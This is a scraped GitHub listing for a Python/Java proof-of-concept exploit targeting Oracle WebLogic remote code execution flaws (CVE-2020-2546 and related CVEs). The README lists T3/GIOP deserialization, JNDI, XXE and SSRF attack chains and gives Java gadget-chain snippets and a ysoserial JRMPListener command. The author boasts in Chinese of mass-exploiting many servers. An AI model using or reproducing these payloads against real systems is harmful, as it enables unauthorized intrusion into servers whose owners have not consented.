CVE-2020-2546 PoC — Oracle Fusion Middleware和Oracle WebLogic Server 安全漏洞

Source

https://github.com/hktalent/CVE_2020_2546

Associated Vulnerability

Title:Oracle Fusion Middleware和Oracle WebLogic Server 安全漏洞 (CVE-2020-2546)
Description:Oracle Fusion Middleware（Oracle融合中间件）和Oracle WebLogic Server都是美国甲骨文（Oracle）公司的产品。Oracle Fusion Middleware是一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。 Oracle Fusion Middl

Description

CVE-2020-2546，CVE-2020-2915 CVE-2020-2801  CVE-2020-2798  CVE-2020-2883 CVE-2020-2884 CVE-2020-2950  WebLogic T3 payload exploit poc python3,

Readme

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# 1、Weblogic RCE exploit
CVE_2020_2546 CVE-2020-2915 CVE-2020-2801  CVE-2020-2798  CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3

# 2、exploit
- GIOP + send bind (CVE-2020-2555、CVE-2019-2888<XXE>、CVE-2019-2888<XXE+SSRF> or others)
- GIOP + send jta (rmi or others)
- GIOP + send jta + SSRF
- T3 + send jta
- T3 + send jta + SSRF
- T3 + send XXE
- T3 + send XXE + SSRF

#### 2.1、rmi server,see
- don't use org.mozilla.classfile.DefiningClassLoader
- don't use java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami'
more see:
https://github.com/hktalent/CVE-2020-2551

# 3、code
### 3.1、code1
```
MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
		ObjectOutputStream oo = new ObjectOutputStream(System.out); 
		oo.writeObject(o);
		oo.flush();
```

### 3.2、code2
```
public MsgOutput getObject(final String command) throws Exception {
	  String jndiAddress = command;
		JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
		jtaTransactionManager.setUserTransactionName(jndiAddress);
		MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
    return remote;
  }
```

### 3.3、code3
```
public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
    return ior;
  }
```

### 3.4、code4
```
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl
```
### 3.5、CVE-2020-2883 code
https://github.com/hktalent/CVE_2020_2546/issues/4

### 2883
<img width="837" alt="image" src="https://user-images.githubusercontent.com/18223385/84259459-16b3cb00-ab4b-11ea-8422-ea7d42365895.png">

# 4、CVE-2020-2546 payload
#### 批量一波，成功无数
<img width="815" alt="image" src="https://user-images.githubusercontent.com/18223385/80388926-0cac7480-88dd-11ea-9531-cadcc688c8a3.png">

<img width="621" alt="image" src="https://user-images.githubusercontent.com/18223385/75693161-8c550300-5ce1-11ea-9c28-3e81a6c72d28.png">


# 5、thanks for
@[r4v3zn](https://github.com/r4v3zn)
@[0nise](https://github.com/0nise)

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